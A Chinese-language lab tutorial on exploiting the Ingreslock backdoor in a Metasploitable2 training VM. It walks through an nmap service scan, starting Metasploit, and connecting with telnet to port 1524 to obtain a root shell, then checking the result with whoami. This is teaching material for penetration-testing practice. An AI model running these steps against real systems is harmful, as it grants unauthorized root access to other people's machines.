介绍
在本实验中,你将学习如何利用 Ingreslock 服务漏洞获取目标机器的 root 权限。实验环境基于 LabEx 提供的 Kali 和 Metasploitable2 虚拟机。本实验的目标是理解 Ingreslock 漏洞,使用 Nmap 进行渗透扫描,并最终通过利用 Ingreslock 后门获取 Metasploitable2 机器的 root 权限。
了解 Ingreslock 漏洞并搭建环境
Ingreslock 漏洞是一个古老但仍然具有相关性的安全缺陷,与 Ingres 数据库管理系统(DBMS)相关。攻击者通常将 TCP 端口 1524 用作后门端口,以维持对受攻击系统的访问。
在这一步中,你将了解 Ingreslock 漏洞及其影响。
Ingreslock 漏洞的根源在于,TCP 端口 1524 通常被攻击者在成功入侵系统后用作后门监听端口。利用此漏洞的简单性在于,只需连接到开放的端口即可获得目标机器的 root 级别访问权限。
尽管此漏洞被认为是古老的,但它仍然存在于一些遗留系统中,因此在受控环境中理解和探索它仍然具有价值。
- 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
- 通过 ping 测试与目标机的连接性:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
- 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
- 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102
按 Ctrl+C 停止 ping。
进行渗透扫描
在这一步中,你将使用 Nmap 对 Metasploitable2 目标机执行渗透扫描,以识别目标机上开放的端口和运行的服务。
- 启动 Metasploitable2 虚拟机并确保其正在运行。
- 启动 Kali 容器并进入 bash shell。
- 在 Kali 容器内,运行以下命令对目标机执行全面扫描:
nmap -sV -T4 target-ip-address
-sV 选项指示 Nmap 探测开放端口以确定服务/版本信息,而 -T4 将定时模板设置为激进级别(从 0 到 5 的更高值会增加激进程度)。
启动 PostgreSQL 服务并初始化 Metasploit 数据库:
cd ~
service postgresql start
msfdb init
启动 Metasploit 控制台:
msfconsole
对目标机执行全面扫描:
nmap -sV -T4 192.168.122.102
以下是你可能看到的输出示例:
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login
514/tcp open shell?
...
这一系列命令启动了 PostgreSQL 服务,初始化了 Metasploit 数据库,启动了 Metasploit 控制台,然后使用 Nmap 对目标机执行了全面扫描。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
利用 Ingreslock 后门
在这一步中,你将利用 Ingreslock 后门漏洞获取 Metasploitable2 目标机的 root 权限。
- 首先,如果你不在 Metasploit 控制台中,请启动 Metasploit 控制台:
cd ~
msfconsole
- 在 Metasploit 控制台中安装
telnet包:
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
- 使用
telnet命令连接到目标机的 Ingreslock 后门端口:
telnet 192.168.122.102 1524
如果连接成功,你应该会获得目标机的 root 权限。
- 现在,你需要通过检查被入侵机器的 IP 地址、主机名和当前用户来验证 Ingreslock 后门的利用是否成功。通过 Ingreslock 后门连接到目标机后,运行以下命令:
检查被入侵机器的 IP 地址:
ifconfig
检查被入侵机器的主机名:
hostname
检查被入侵机器的当前用户:
whoami
如果利用成功,你应该会看到目标机的 IP 地址、主机名以及当前用户为 root。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
总结
在本实验中,你了解了 Ingreslock 漏洞,该漏洞允许攻击者通过连接到 TCP 端口 1524 获取受攻击系统的 root 权限。你使用 Nmap 执行了渗透扫描,以识别目标机上开放的端口和服务。在检测到 Ingreslock 后门端口后,你利用 telnet 命令成功利用了该漏洞,获取了 root 权限。最后,你通过检查被入侵机器的 IP 地址、主机名和当前用户,验证了漏洞利用的成功。本实验为你提供了理解和利用真实世界漏洞的实践经验,强调了安全补丁和系统加固以防止此类后门的重要性。



